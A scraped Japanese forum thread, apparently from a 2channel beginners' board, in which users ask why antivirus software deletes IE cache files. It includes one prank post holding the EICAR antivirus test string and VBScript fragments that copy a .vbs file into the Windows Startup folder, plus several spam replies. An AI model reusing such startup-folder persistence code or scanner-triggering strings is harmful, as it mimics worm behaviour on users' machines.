何かPCに問題は起こるんですか?

7167152006-10-14 14:25:05

ウイルスを削除というか、駆除できずにファイル(?)ごと削除してるんですけど。。。

ご指導お願いします。

717ひよこ名無しさん2006-10-14 14:35:27

>>715

起こらない

>>716

2chのログファイル、またはIEキャッシュファイルを監視対象から除外

7187152006-10-14 14:41:13

>>717

ありがとうございます。

具体的には、何を削除しているのでしょうか。

例えば、以下のようなものが削除されてしまいます。

Documents and Settings 名前 Local Settings

Temporary Internet Files Content IES SOUTTMDI2 l50[1].htm

719ひよこ名無しさん2006-10-14 17:15:19

>>718

IEキャッシュファイル

871ひよこ名無しさん2017-07-02 18:24:15

>>86 >>27 >>719

落ちろ!

753ひよこ名無しさん2007-04-12 21:26:57

こうじやりおれ

Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

fso.copyfile "dirsystem&nurupo.vbs", "j:windowsstart menuprogramsstartup"

948ひよこ名無しさん2017-07-02 18:44:50

>>75 >>14 >>753

落ちろ!

921ひよこ名無しさん2017-07-02 18:37:37

>>76 >>14 >>794

落ちろ!

806ひよこ名無しさん2012-05-21 22:15:28

愛新はもっと使えない

986ひよこ名無しさん2017-07-02 18:54:59

>>80 >>96 >>806

落ちろ!

830 忍法帖【Lv=5,xxxP】(1+0:5) 2014-03-11 17:02:09

te

937ひよこ名無しさん2017-07-02 18:41:53

>>44 >>86 >>896

落ちろ!

947ひよこ名無しさん2017-07-02 18:44:34

>>74 >>48 >>945

落ちろ!